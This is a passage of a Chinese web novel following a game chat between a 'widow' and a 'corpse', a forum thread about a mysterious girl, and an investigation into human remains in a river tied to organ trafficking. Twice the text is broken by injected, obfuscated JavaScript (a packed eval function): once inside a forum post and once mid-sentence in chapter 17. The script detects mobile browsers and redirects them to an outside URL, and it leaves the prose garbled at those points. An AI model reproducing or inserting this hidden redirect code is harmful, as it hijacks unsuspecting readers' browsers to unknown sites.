一个无趣的尸体:你说的对。 他从善如流地更改了名字。 看起来还挺喜欢这个新名字,然后他又严谨地更改了量词。 一具无趣的尸体:寡妇,你为什么绝望? 绝望的寡妇:因为我是寡妇。 一具无趣的尸体:节哀。 绝望的寡妇:尸体,你为什么无趣? 木柯泽半天没有等到他的回答,她翻了翻聊天记录,刚好这句话到了系统给他划定的最后一句。距离三分钟还有一段时间结束,于是木柯泽把手机放到一边,任由倒计时继续,她一瘸一拐地接了杯水,回来的时候看到那具尸体多发了一条。 一具无趣的尸体:鲸鱼为什么会溺死?保温杯里最开始是装什么?镜子喜欢什么花? 绝望的寡妇:气孔呼吸。冰块。玫瑰。 一具无趣的尸体:你看。这个世界上所有的问题都有答案。难道还不够无趣吗? 绝望的寡妇:我刚刚是乱说的。赌你也不知道答案。 绝望的寡妇:但我知道接下来的这一个答案。 一具无趣的尸体:呵。 绝望的寡妇:麦克斯-谢尔维方程有几个奇异解? 一具无趣的尸体:…… 绝望的寡妇:我想去杀死刚刚偷袭我的镜鬼。 一具无趣的尸体:那我很快就会拥有一个骑在我头上的邻居。 绝望的寡妇:…… 一具无趣的尸体:加油。 绝望的寡妇:绝望。 一具无趣的尸体:无趣。 绝望的寡妇:并不是在突然互报名字。 一具无趣的尸体:哦。 一具无趣的尸体:但是这个游戏的设定,人杀不死鬼。并且主线任务也不是杀鬼,而是复活尸体。你打算怎么办? 这个喜欢提问的尸体与她的交流已经超出了系统判定的指标。如果说话会消耗能量值的话,他已经是在预支额外的代价了。 这个游戏大概还没有人类玩家打算去跟鬼硬碰硬的先例。尸体看上去很乐意继续跟她搭话。 绝望的寡妇:那请你复活。 一具无趣的尸体:? 一个无趣的人:我复活了。 绝望的寡妇:。 他又把ID换了回去。 一具无趣的尸体:我又死了。 绝望的寡妇:你死哪里?现在我来挖你坟了。 一具无趣的尸体:可怕的寡妇。 这时候突然又有黑色的影子靠近。木柯泽手速很快,她熟练地操纵角色就地伏过土坑,附近的人显示世界对话。 【世界频道·附近】 无情纵火:我是鬼。 无情纵火:可以让我杀一下吗? 无情纵火:你好。 木柯泽没有理会附近的频道,她点开与尸体的对话框,谴责他。 绝望的寡妇:刚刚你为什么没有提醒我。 一具无趣的尸体:因为人类玩家总是要死的。 绝望的寡妇:你不是说不想有人死在你旁边么? 一具无趣的尸体:那是之前。现在,我觉得不如你就死在我隔壁,这样我们的尸体每天上线就能对话。否则地图很大,下一次随机到的概率很低。 绝望的寡妇:怎么办。 一具无趣的尸体:? 绝望的寡妇:更想挖你坟了呢。 三分钟的时间很快到了。他们的对话框关闭。木柯泽叼着棒棒糖,才想起回复之前那个鬼玩家。 【世界频道·附近】 绝望的寡妇:你好。 绝望的寡妇:第一次被杀。请问是个什么流程? 大概那只鬼找不到人就走了,附近的玩家换了一批。很快刷新出一排整齐的问号。 【世界频道·附近】 小六:??? 后天就能睡:??? 让你十块钱:???这是什么? 后天就能睡:看起来是个小萌新。 附近的坟头确实很多。如无趣的尸体所言,鬼的刷新点总是有很多坟的。木柯泽很有耐心地挨个排查,顺便在频道聊天。 【世界频道·附近】 绝望的寡妇:你们都是尸体吗? 小六:对。 后天就能睡:是的。 让你十块钱:还有人不是吗? 绝望的寡妇:我不是。 小六:对哦。你刚注册的吧。序列号很新呢。有鬼杀你的话站着不动就好啦。 绝望的寡妇:刚刚我认识了一个朋友,我想复活他。 后天就能睡:这很好了。 绝望的寡妇:但他不乐意。 让你十块钱:那很不知好歹了。 绝望的寡妇:所以我决定挖他坟。 后天就能睡:人之常情! 小六:……你们的ID怎么都是五个字? 世界频道很快也换了一批人。新来的玩家看不到之前的聊天记录,在聊别的事情。 要躲过鬼的袭击需要尸体的提醒。人是看不到鬼的,只有尸体可以。 不过,多亏了这个游戏的真实性。木柯泽在之前在两次鬼的袭击中发现光的折射,在空气与在鬼中有微妙的不一样。虽然这个游戏很暗,但姑且还是有些光的。 只需要在脑内模拟光线的传播方向,计算不同介质的角度,就能够判断到底哪里有鬼了。 这种计算量对于木柯泽来说并不大。只需要脑内过一遍心算就可以。 她悄无声息地越过了鬼的袭击范围,悠哉悠哉地溜达了半小时,最后下线。 与此同时,论坛悄无声息地多了几个帖子。 有人看到万坟场出生点的某个新人了吗?简直是锦鲤之子啊!【可恶咬手绢.jpg】 怎么会有人能绕过镜鬼的三连斩啊?那家伙不是没有实体,没有脚步声,还追着人杀吗???那我当初的落地生坟算什么!【怀疑人生】 我打赌她活不过三天【戴上墨镜】 但这只是短暂的小插曲,并没有引人注意,很快便沉了下去。 - 木柯泽从游戏世界回神,是因为手机收到不少消息。最新弹出的是阮小天。 阮小天:姐!!!姐!!!你出名了! 木柯泽:? 这么快的吗?地面这群人不是还认为她是已经逝去的历史人物。难道听证会要提前了? 她点开阮小天给她发的链接。 确实热度很高。但不是因为她本身的名字,而是昨晚的情侣挑战活动。 啊。娱乐八卦的板块。 那没事了。 木柯泽短暂支棱了一下,又躺回去。她关掉手机,冰敷了一下受伤的脚腕,感觉疼痛缓解了不少。起来换了衣服,打算继续去州河附近看看。 今天的话……就去约杨疯子一起钓鱼好了。 - 被木柯泽看了一眼就关掉的链接,帖子确实被分到了娱乐八卦的板块。但是最终导致它火起来的原因却是里面过于细腻的感情描述,考虑得太多,简直是到了焦虑症和人格分裂的程度,不少人都一阵无语。只当是又有人在发癫地抽象。 直到有人上传了模糊的几张照片。 看到当事人的那一刻,大家都真实地感同身受了。 一行硕大的标题。 【重金悬赏情侣夜跑的这个兔子头女生!】 楼主:当时只是听说有恐怖活动,楼主便跟着去凑热闹,结果感觉遇到了梦中情女啊!捧着西瓜汁一脸茫然的表情好可爱。后来大家都去看烟花,她顶着白色的帽子一蹦一跳的奔跑样子也可爱。跑的速度太快导致我根本追不上是最可爱的! 1L:? 2L:懂了。楼主喜欢永远也追不上的女生。 3L:是陆外十三城吗?好像有点印象了。 4L:等等!对方身边有跟着同伴吧! 5L:划重点,楼主你也自己写了,【情侣夜跑】啊。 楼主:但是她身边也有好几个人吧。多加我一个我感觉完全ok啊! 6L:这种事情当然是得看对方的意愿了! 7L:楼主你…… 8L:如果还没有结婚的话确实不算违反法律。 9L:但也完全缺乏道德。 楼主:所以是想要询问对方的联系方式了。不愿意的话也没有关系的! 10L:那个女生啊……我好像有点印象。不知道应该怎么描述,反正之前二十多年没见过那样感觉的人。一开始完全没有注意到她,只是“待在角落蹭喝西瓜汁”的一个人。但是后来突然出现了一个很会讨女生喜欢的外国大帅哥,大家都情不自禁地盯着大帅哥去看。然后我跟在人群里无意间瞥了一眼,那个女生依然捧着西瓜汁,大概是被冰块冻住了,很小幅度地打了一个哆嗦。大帅哥之类的,她完全是不在乎的样子,反而看见我了,礼貌地向我点头笑了一下。 【系统提示:字数超出限制,请注意分段】 10L:啊。一不小心字就打多了,原来还要分段。 10L:嗯,因为家庭的缘故吧……我一直是那种混迹在人群里不会被注意的,存在感几乎没有的那种人,地球ONLINE里按部就班的NPC,偶尔见证一下主角之间的爱情。就算跟人对视也好像只是见到了一株草一样,很快就移开目光了。 10L:真的是我见过最奇怪的人。明明相当普通的打扮,外套和长裤,但是总有一种随时抽离,随时登出这个世界的感觉,越靠近越可能被一起带着被卷走的九级飓风吧,有些令人不安。是那种……镜子一样的漂亮。 10L:后来果不其然的,之前那个大帅哥拿着白玫瑰向她走过去了。对我来说这种场合实在太常见了,本来想给他们腾位置的,没想到那个女生向我走过来了。大概是看我手上没有花,强迫症犯了吧……总之,是一束被她握过的,根茎上还有些温度的郁金香。 10L:不由分说地插在了我的衣服口袋上,声音和花香一起迎过来了。就好像是她说的话散发那种清淡的香气。我完全不知道该说什么,只是盯着她的西瓜汁看。她也察觉到了,就说,前面可以领饮料。 10L:然后就把她的西瓜汁也塞给我了。 11L:我去。这么长一大段,明明是印象很深刻的样子吧。 12L:我还是第一次知道,原来发帖有字数限制……不对。10L你是男是女啊?? 13L:男女通杀的类型吗?好像变得有意思起来了。 14L:我知道我也知道!那个大帅哥也超级帅啊TAT但在她旁边莫名其妙就显得黯淡了一点……真的很神奇,确实是“镜子一样的美貌”——大帅哥靠近之前我完全没仔细看过那个女生,定睛一看才觉得妈妈呀,我刚刚是瞎了吗!! 15L:救命。真的不是什么偶遇明星,娱乐公司的营销贴吗?最近好像有档恋爱综艺要上了。 16L:看起来是真情实感在发癫。 17L:假的吧。 18L:正常人哪有这么弯弯绕绕的脑回路?而且有这种人设嘛? 19L:最近没有听说有明星到陆外十三城的行程。 【系统提示:禁止引战】 楼主:什么啊!我从来不追星的! 楼主:大家都去看烟花的时候,她却偷偷地朝着烟花落下的反方向跑了。兔子帽一蹦一跳的,真的十分可爱。 楼主:【模糊不清的抓拍】 楼主:就是这个人。有人认识她吗? 间隔了整整一分钟。 20L:我恋爱了。 21L:我恋爱了。 22L:我恋爱了。 楼主:? 23L:我现在支持你了,楼主。双手双脚,完全地支持你了。并且成功了的话请分享经验(拍肩) 24L:楼主都可以,那我也可以。 25L:你也可以,那我也可以。 26L:?好吧。那我也可以。 27L:刚来。#这是在干什么 28L:所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“还在思考要取什么名字的阶段啦。做出成品大概还要很久的时间呢。” “研发成功了记得告诉我一声。” 木柯泽一边回应着,一边打算低头结账,就被店员姐姐制止了。 “托你的福,我们才赚了很多钱。”店员姐姐客气地说,“今天的这杯当然免费了。” 店员妹妹这时候才从天马行空的想象中脱离出来:“对呀对呀!怎么好意思收你的钱呢?” 她们两个都很坚持。木柯泽看了看,没有推辞,也没有再说些什么,跟她们点点头,相当干脆地就捧着西瓜汁离开了。 河道边有很多复刻冰镇西瓜汁的人,四处张望传说中的兔子帽女生。人来人往的情况下,木柯泽汇入其中,就像一滴水融化在水中。 今天也有钓鱼的大爷,木柯泽一眼就看到了坐在老位置的杨疯子。本来有人隐约注意到了木柯泽,但看到她无比熟练地跟在老大爷和蓬头垢面的女人坐一起后,便移开了视线,在心里失笑。 兔子帽女生怎么会跟他们一起钓鱼呢? “今天有什么收获吗?”木柯泽问。 杨疯子很腼腆,轻轻摇头。 “钓鱼要用的鱼饵其实很重要。选对合适的鱼饵才会钓上想要的鱼。”木柯泽说。 旁边的大爷们笑了一阵:“放松些。都是打发时间的小爱好而已。” 木柯泽礼貌地点头。 然后又问杨疯子:“你想钓上什么?” 杨疯子浑浊的眼睛亮了一点:“我的女儿……我想我的女儿。” 木柯泽很有耐心地安抚:“我们在钓鱼。” 这两个人的对话听起来不太正常。大爷们谨慎且不动声色地往旁边挪了几下板凳。 好像都很像疯子。 “用这个当作鱼饵好了。” 木柯泽取出一节试管,用镊子从里面夹出类似黏稠的物质。如果韩寒梅在场的话,很快就能辨认出,它与之前“足以令两个成年人食物中毒”的蜂蜜平菇炖鱼的质地极其相似。 杨疯子的手在抖。 “他们长着比月亮还亮的巨大独眼,手里握着闪电要劈开我女子的喉咙。”杨疯子脸庞不自然地抽搐,重复糊里糊涂的疯话,“他们杀别人的女子用来当自己的眼睛,用勺子挖,用筷子搅,用锤子锤!” “那些穿衣服的畜生,禽兽!” 木柯泽平静地看她。 从邻居和保安的叙述中,十七年前,杨疯子独自养育着女儿。那时她还是纺织厂的一个女工,某天下班后就再也没有接到女儿。 她很有毅力,也很有耐心,不需要别人劝她就能吃饭。因为只有吃饱了饭,才有精力去寻找她的女儿。 就是这么一个坚强的人,突然有一天在州河附近过夜,第二天早上人们发现她的时候,就已经疯了。 一开始,她不能发出声音,只是惊恐地瞪大眼睛,十分畏光。当时医生相当奇怪地发现她虽然没有遭受外力的打击,但很明显有脑震荡的迹象,波动的峰值极其不正常。 过了三四年,杨疯子才慢慢像孩子一样学会使用舌头。 但已经没有人耐心听一个疯子在说什么。 只有新搬过来的木柯泽乐意带她出去走走。 木柯泽看杨疯子钓鱼。 过了一会,似乎真的有东西攀附住了鱼钩。杨疯子欣喜着拽了鱼竿,对这个与她的女儿年龄类似的人露出微笑。 木柯泽就也笑。 杨疯子又开始说胡话起来了。她唱旋律简单的儿歌。 “有一坨肉在说话。” “多么可怕。” 一阵翻滚的水声,吸附在鱼饵上的并不是一个活物,也不是鱼类。是一个被河水冲刷得腐烂的肉,失活的肉质,像瘪下去的气球。 杨疯子的瞳孔剧烈颤抖起来。 木柯泽继续问:“它们在说什么?” 她紧紧握住杨疯子的肩膀,克制住她的身体抖动。 “它们……它们……”杨疯子反手,死命抓住木柯泽的手臂,艰难地说完。 “……它们在叫妈妈。” 钓上来的这块肉很快引起了附近老大爷们的注意,他们惊叫一声:“河底怎么有肉啊?这个骨头不像什么狗骨头和鸡骨头啊?” 碎块状的肉不多,主要是骨头,陈列在泥土上,甚至仔细看去,似乎隐隐发光。 “轰!” 河道上突然有车辆急停,轮胎与石油路剧烈摩擦的声音。 阿德莱德翻身,抄近路直接翻栏杆,长腿三两步就跑到木柯泽跟前。引起岸上人阵阵惊呼。 “确认了。松尾信的眼角膜确实来源于李默。另外松尾家族那边——”他喘着气说。 “先不管。”木柯泽冷静道,“我让你带的勘查箱和手套呢?” 阿德莱德这时也才见到了地上的肉和骨头。他忍了忍,扭头低骂了一句,才迅速戴手套,将这明显是人的骨头小心装进勘查箱里。 在他身后,治安局的车辆拉着警报一路飞驰,迅速封锁了街道,其间混杂着外岛人的声音。木柯泽有学过一些外岛语,大概在说他们是松尾家族的人,凭什么不让他们过去。 阿德莱德:“怎么确认这些受害者的身份?柯泽小姐,时间很紧迫,松尾家族那边盯得非常紧。就连我去调用松尾信的档案,都花了好大一番功夫。” 当时他便意识到不对,但季疏原没有理会他,木柯泽只让带些东西来河道边。 赵怀仁的嘴当然关不住,治安局那边必然也有松尾家的人,仅仅在季疏原找了木柯泽没多久后就发现了端倪。 或许……松尾信迫不及待要进入陆外十三城寻找季桃,根本就是个由头。 他们真实的目的,是要阻止这个器官贩卖的产业链重见天日。 但这一切发生得实在太快。 完完全全的突发事件。 这次治安局出外勤的是韩寒梅,看起来已经快要拦不住了。街道一片混乱。 木柯泽一把拉起魂不守舍的杨疯子,塞到阿德莱德怀里,简短道:“送进你的医院。比对基因检测。” 阿德莱德接过浑身颤抖的杨疯子,皱眉问:“那你呢?” 木柯泽整理了一下衣着,似笑非笑地勾起嘴角:“唔……我的话,去见一见澪小姐吧。” 17. 第 17 章 虽然没有姓氏的渊源,但有些血脉里的关系确实不容斩断。松尾澪笑容盈盈地站在那里,韩寒梅已经觉得自己在面对季疏原当时上课的威压了,冷汗一层冒着一层。直到其他几位松尾家的人面容不虞,眼看下一秒就要开干,木柯泽才终于姗姗来迟。 这种金融大家族与治安局对起来的结果显而易见,并不是个好差事,甚至是显而易见的背锅活。领导们本来就想找个倒霉蛋随便去,韩寒梅反而抢先一步站了出来。 按照程序,他们在这条街上动手都算合法。 所以当这种剑拔弩张,一触即破的场合发生的时候,站在韩寒梅身后的人本来就不多,明显能看出来是在强撑。 要压下松尾家的气焰,根本不可能就靠这么寥寥几个人。 但凡事总有例外。 松尾澪依旧是礼貌地微笑,望向孤身一人的木柯泽。 她带领的几人后退一步。 “久闻大名了。”松尾澪微微欠身,随后道,“我提前准备了一个比较适合交谈的,保密性和隐私性都一等一的好地方。” “初次见面。澪小姐。”木柯泽说,“希望你不会带我去的是桂之原私坊。” 松尾澪客气地笑了一下:“虽然柯泽女士已经光顾过一次,但不同的人陪伴应该会有不同的体验。我想,我应该比我的堂弟更会讨女孩子开心。” 木柯泽看了她一眼。 “柯泽女士……” 韩寒梅本能嗅到不安的气味,但很快被木柯泽示意别动。 “找什么地方把自己弄得狼狈一点,再回治安局。”木柯泽言简意赅道,“就说松尾家无法无天,当街斗殴,你拦不住他们。” 松尾澪依然是那样好脾气的精致笑容,像是默许。 她替木柯泽拉开车门。 “那么,请吧。柯泽女士。” - 连轴转的疲惫,在躺下的那一刻便澎湃着涌上来。 季疏原紧闭着眼,睡得并不安稳。 心理医生一直坚持着这世上的人没有天生的情绪匮乏,只是格外擅长压抑自己。但压抑到某个顶点的时候,身体一定会做出相应的警告。 “你恨你的母亲吗?” “不恨。” 回答得很快,反而更让心理医生皱眉。 “你恨你的父亲吗?” “为什么要恨一个从来没见过的人。” 季疏原的童年,已经没有太多的印象。反而是丢下他的母亲更多一点。她带着他去州河边,说给他去买一杯奶茶,然后再也没有回来。 对于父亲,只有一个严肃板正的轮廓。 隔了开满樱花的走廊,季疏原常常趴在窗前去窥视对面松尾信的书房。这时候季桃就会轻轻把他抱走,让他不要打扰父亲工作。 再后来,是季桃遮掩着扯自己的长袖,露出一个相当勉强的温柔笑容,告诉他“你要笔直地活下去”,然后又紧紧地抱住他。 但季疏原不明白为什么她会带他离开。他甚至不知道季桃是怎么从一个人生地不熟,几乎全是松尾家地盘的外岛上成功将他带回陆外十三城的。这简直是一个奇迹。 有时候,季疏原又会想,如果他当时再聪明一些。明白季桃的欲言又止,明白季桃遮掩衣袖下的青紫,明白从房间里来来往往,沾染消毒水味的人们是谁。 那么,她还会不会抛下他? 但他那时候什么都不知道,站在路口,直到街上的灯都关了,才有一个他不太喜欢的中年男人走过来。他第一句是说他叫赵怀仁。第二句是他妈妈不要他了。第三句是他只会养他到十六岁。 他必须要让自己有价值。因为季桃要他活下去。 现在他活下去了。他必须搞清楚当年发生了什么。因为季桃要他笔直地活下去。 他的一生都将困在这句话里。 总是过期的,来不及的。抓不到背影,什么都来迟一步,就连送药…… 梦里的温度高起来了。这时候季疏原猛地睁开眼,急促地喘息着,一手扶额,擦掉涔涔汗水。 定位。 出于多管闲事的心思,季疏原在当初季桃抛下他的那家奶茶店里安装了种子代码。结果,当真有人要调换监控。 谁会闲来无事去调换一家奶茶店的监控? 季疏原的太阳穴隐隐作痛。 就在他依然疼痛的时候,房间门“砰”的一声被用力踢开了。阿德莱德一手扶着头发蓬乱的妇女,踢门的长腿还滞留在半空,那张总是戏谑表情的脸沉着,语气听起来很是冷肃和不满:“已经过去三个小时。我想你应该休息够了。” 早上从木柯泽家里告别之后,季疏原便马不停蹄地跑去人民医院。他借用赵怀仁昨晚留下的权限调取了松尾信部分的身体数据,送到阿德莱德的医院之后便支撑不住,在一间空病房里休息。 正常人一天的睡眠时间可以是十小时,也可以是八小时,但无论如何三个小时大概是不行的。 这一点作为研究病理的阿德莱德应该比季疏原更清楚,但阿德莱德依然冷冰冰地继续说:“松尾澪把柯泽小姐带去桂之原私坊了。” “什么?” “应该问问你们之前在桂之原都干了什么。” “反向入侵定位。”季疏原忍着头痛说,“州河旁边的奶茶店被不明来源攻击了系统监控,我邀请她一起破解入侵方。” 几个护士和医生小跑过来。 他们接过阿德莱德身上的妇女,阿德莱德简单嘱咐了几句,然后二话不说向季疏原走过去。 “那好极了。”这句话里有很明显的咬牙切齿,“在被松尾澪带走前,柯泽小姐在州河边钓起了疑似十七年前器官贩卖的交易物品。原来她住在那里只是为了接近一位可怜的母亲。” 季疏原的身形一滞。 “希望你们应该不是在桂之原反入侵的吧。”阿德莱德嘲讽一样地说,“否则现在完全是把数据和自己都一起打包送到敌人大本营里去了。现在是不是该赞赏我们的小天才勇气可嘉呢?” 他这时候是真的有点火气。 关于某个家伙不把自己的命当命这回事。 季疏原沉默了一会,支着身子站起来。看起来是在短暂的时间里很快想清楚了前因后果。 人民医院每天都会有无数的医疗垃圾。 早些年的陆外十三城许多人贩子进行交易,不少孩子下落不明。 虽然不知道木柯泽是怎么知道的,但那些被抛弃的不合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381773|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格器官经过处理后显然被排放到了州河里。 比如说,谁人走失的女儿。 时隔十七年。 直到河底发光的传闻引起那些人的注意。所以才会有人迫不及待想要调换监控录像。 那处街道平时并没有多少人路过,只有钓鱼的老大爷,客流量最大的几天就是最近传出恐怖发光流言的时候。 松尾家的主要势力范围终究还是在外岛。顶多算是一个乐意消费的大客户。 而真正的,背后操纵这条产业链的,其实另有其人。 所以,季疏原误打误撞追踪攻击监控的背后组织到底隶属哪方,就已经很清楚了。 季疏原的语气格外严肃:“关于这件事。她确实很有勇气。” “你的办公室在哪?” “……” 阿德莱德磨了一下牙齿,不太想听这种“我和她有个秘密”之类很有优越感的语气,但姑且还是问了一句:“怎么?” “当初商量的时候,她就提醒过,在确定接下来会发生什么之前,所有人都可能利益相关,除非有一个完全独立的外来人员,纯粹因为兴趣而参与其中的无聊人士。”季疏原说,然后他平静地注视着阿德莱德,“最好还是一个拥有足够多的独立资源,与各个地方都毫无关系的人。” 阿德莱德:“……” 阿德莱德:“这个无聊人士。就是我吧。” 他突然之间想起,昨晚木柯泽在烟花下盯着他,无比肯定地说“你很无聊吧”。 ……她在说这句话的时候,讨论的究竟是他这个人本身。 还是和季疏原的碰面? 季疏原:“她把解算芯片部署在了你的医院里。我们所有相关的入侵数据,实际都储存在你办公室里的主机电脑。桂之原私坊只有一份柯泽女士临时生成的随机伪代码,但足以瞒过许多人。” 季疏原:“所以现在,她不是把自己送入了敌方,我更倾向于她在给我们拖延时间。” 阿德莱德深深吸了一口气:“什么时候?” 季疏原:“花了一个下午,大概还有半夜。” 阿德莱德口齿清楚:“我问的是——她什么时候将芯片布置在了我的医院?” “……” 季疏原叹了口气,才道:“在你第一次邀请她的那天。” 阿德莱德下意识反驳:“这不可能。” 但脑子却立刻跳出了某个记忆片段。 木柯泽略显奇怪地在某个病房门口观察了超过五分钟。他询问的时候,她还一脸平静地说些什么“法医能够聆听死者不甘的亡语”,“医生从病历单上认识患者”之类有些触动他的话。 房间里有寂静的几秒钟。 这几秒钟在主观的感受里被无限拉长。季疏原隐约感觉自己仿佛听到了天雷滚滚的动静,以及海啸暴雨的声音,大概是面前这位外国小伙此刻的心理活动。 “柯、泽、小、姐。” 片刻。 阿德莱德斩钉截铁地从嘴里,沉沉吐出四个字的评价:“感情骗子。” 季疏原姑且认同阿德莱德的看法。 阿德莱德转身离去。 虽然依旧不高兴,但现在还是得立刻去办公室。 18. 第 18 章 中心区。 “教授,这是昨天量子波的峰值报告。请问需要推迟学术峰会吗?” 长孙子翁取下骨传导耳机,一边向自己的实验室走去,一边吩咐道:“不用。” “还有一件……有关木柯泽女士的听证会。”那位带着眼镜的助手拘谨道,“协会那边已经在施压了。不出所料的话,协会里面没有愿意做担保人的。” “神庭会的人就该神庭会照看吧?他们不是正在找她吗?” “听说第一时间就已经发送上去了。”助手停顿了一下,然后说,“但是您知道的,神庭会从来疏于处理我们地面的信息。” 长孙子翁轻嗤了声。 “大概以为是要偷渡什么人上去吧。提防得跟个什么一样。” “事实上,不少人也以为这是陆外十三城弄出的把戏,诡计多端地想要与中心区搭上关系。”助手说,然后问,“教授,您觉得呢?” “站在中心区和神庭会的立场,确实都是很有说服力的假设。毕竟谁会想到有人从神庭会降落到地面呢?”长孙子翁慢条斯理地说,“但对方毕竟是木柯泽吧。” “啊……教授的意识是,不要用平常人的思维去看她吗?” “不。” “嗯?” “是要用人的思维去看她。” 助手摸了摸鼻子,疑惑道:“我不太明白。” “假设。你从小生活在与世隔绝的地方,没有同龄人的地方。直到终于有一天偷跑出来,你认识了外面稀奇古怪的世界,还结交了很合心意的朋友。但你很快又只能被带回家了。” 长孙子翁说:“现在你已经长大,你有足够的能力,穿梭在你长大的地方和外面的世界。” 助手皱眉思考了一会。 “我会去找我小时候的朋友?” 助手这样说了,然后从长孙子翁的引导中抽离出来,又觉得不可思议:“可是……” 可是,那是木柯泽,第三纪的最强天才,世人眼中已经超越人类物种的存在。她偷偷来过地面?怎么可能?什么时候? 长孙子翁:“为什么不会?” 没几个人知道,他见过那孩子。在很久以前。 “长孙子翁,”小孩子还有些水嫩的声音,从电话里叫他的全名,“你的那道十二平均律的题,我证出来了。过程发到你的邮箱里。” 长孙子翁稀奇道:“哦?” 他刚好在办公室,本来以为是谁的恶作剧,但点开后,原本随意的笑容逐渐严肃。 严谨的证明,精确的计算。并且字迹真的是一个小孩子的,大概写得过于着急,尾笔勾勾画画。草稿纸上还有无聊时任性涂抹的小花小草。 最后还有一段延展的思路。 如果说长孙子翁的题目是在将乐理与群论之类的理论一一对应,那么她已经编写出一首完整的数学曲谱。 “你是谁?” 长孙子翁问。 “我想请你给城大发条消息。”电话对面的小孩子说,“帮一个人申请进入图书馆的权限,他很需要看书。需要的资料和推荐信我已经拟好了。” “你在陆外十三城?” “不用来找我,也没必要定位。”女孩子的声音很清脆,相当直接地拒绝了长孙子翁的意图,“我要离开了。这通电话也是随便找了路边的电话亭。” 通话结束后,长孙子翁特地搜集了消息。 陆外十三城一直是不起眼的地方,那天只有神庭会的车队经过。 再后来,他听说了木柯泽这个名字。 如果是一个愿意让朋友进图书馆看书就解开十二平均律证明的人,她想去找谁,跨越神庭会或者陆外十三城,大概跟普通人眼里的坐地铁没什么不同。 助手一副怀疑人生的模样:“是这样吗?” 长孙子翁:“只是我个人的想法。” 但一般这样说的话,就代表着长孙子翁内心已经这么认为了。虽然很有道理,但助手仍旧心情复杂。 搞什么,以为是政治意味,结果是为了找童年的老朋友叙旧吗?如果是这样的话,听证会是不是太大动干戈了?真不知道木柯泽女士是以什么样的心情面对他们这群人的。 “但听证会不可能取消的。”助手说,“并且不知道为什么,上川央监制似乎对最新一届的学科评比很不满,要求重新调整等级规则。教授,如果您不去陆外十三城的话,大概就没人能做木柯泽女士的担保人了。” “愿意巴结神庭会的人也不少吧。” 助手梗了一会,对于长孙子翁过于直白的用词。然后他无奈地说:“您应该也知道,这不是随便什么人都适合出席的场合。” 通常情况下,作为担保人的社会地位,以及手里掌握的资源应当要比被保人高。 即使中心区所有人都闲着没事,能够为木柯泽担保的人也不会超过七个。 要是再放宽一点条件,勉强能够到两位数。 长孙子翁叹了口气,确实觉得头疼起来。他走到办公室门口,打算拧开的时候,意外地发现门锁早被撬开了。手指握住把手,停顿了一会。 助手没有发现他短暂的异常,还在苦恼地思索着该用什么借口推迟四年一届的学术峰会。 “不用了。”长孙子翁语气微妙地说,“看起来已经有一个十分合适的人选了。” 他扭头打发助手离开,然后拧开门,不出意外地看见沙发躺椅上有个把会刊文章当作眼罩盖在脸上,惬意伸展四肢的人。 长孙子翁:“钥匙在唐助那,我想你应该用钥匙开锁。” 那个年轻男人似乎才被喊醒,胡乱扒拉了一会,才掀开书页,慢慢悠悠地睁开一只眼。 声音含混不清,还有些困倦:“锁没弄坏。” 长孙子翁:“我的办公室也不是午休间吧。” “您知道的,我从小就觉得这些数字和论文很好睡。” “算了。”长孙子翁说,“你打算什么时候去陆外十三城?” “下午。” “她离开神庭会也不是来找你的。你仔细想想,你们当初算朋友吗?” “不信。” “我刚刚跟唐助说的不是你。” “不听。” 长孙子翁叹了口气,疲惫地按了按眉心:“不要搞事。” 那个年轻人“哦”了一声,语气还是十分勉强:“我尽量。” - 桂之原私坊到底是谁的店铺,现在看起来已经不重要了。但总之,当松尾澪领着木柯泽进来的时候,年轻的大堂经理眼睛明显亮了又一亮。 “没想到木小姐这么快就跟澪小姐见面了。”大堂经理特别开心,像是终于把滞销的货物卖出去了那样,“真是件大喜事啊。” 木柯泽:“……” 已不愿再去推算这位大堂经理的脑回路。 松尾澪似乎也不太理解面前的状况,精致的笑容难得透露出一种茫然。她先去旁边的静室跟带来的人讨论一会。 木柯泽闭了闭眼。 大堂经理和气地握住木柯泽的手:“你好,又见面了。木小姐。” 木柯泽:“你好。” “上次木小姐光临的时候,其实真的是季先生第一次带人来我们店。”大堂经理继续保持着这样的热枕道,“可能木小姐不知道,我算是看着季先生长大的。” 木柯泽狐疑地打量了一下大堂经理年轻的面孔,看着也不像是什么易容的中年男人。 “啊。可能有些夸大。但我十几岁就在这附近打工了。”大堂经理说,“我家境不好,还是季女士给我介绍了这份工作。我们一家人都一直很感激她。” “季桃吗?” “是的。听说她失踪的消息的时候,真的十分遗憾。本来想要挣够钱报答她的,只好偷偷去看季先生。因为有听说过一些传言,季先生可能需要自己打工去上大学,后来发 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松尾澪不明所以。 她狐疑地看了一眼大堂经理,又看了一眼木柯泽。觉得其间气氛并不像是她想象的那种复杂,但好像又处处透露出一种诡异。 “柯泽女士,认识他?” “我想你应该调查过我的背景,这家店也有你的人吧。我们确实是第二次见面。” “说不定柯泽女士手眼通天,既然能够调换监控录像,操纵记忆想必也不在话下。” “听起来已经是超能力了。我姑且还是崇尚科学的。” 松尾澪领着木柯泽走过回廊。这是与上次季疏原带她来一模一样的路线,然后她停在相同的房间门口,推开门,说:“请进。” “没有必要布置得与我上次来的一样吧。”木柯泽平静地说,“是想表明你完全掌握了我跟季疏原的动作吗?” “毕竟接下来是要与第三纪的天才谈判,多少还是需要这种东西虚张声势一下。”松尾澪说,“烦请柯泽女士体谅一下我们这些普通人了。” “真正的普通人大概在为我们的家庭聚会而担忧。” “?” “没什么。”木柯泽只是忍不住淡淡地吐槽了一句,然后说,“请开始吧。” - 作为神庭会认定的唯一天才,木柯泽确实会需要到处转来转去开会。一开始她还没搞明白这些会到底是要做什么,在切身参与过几次后,再有人询问,她就果断地拒绝了。 展示的内容很少,大多数时候在吵架。 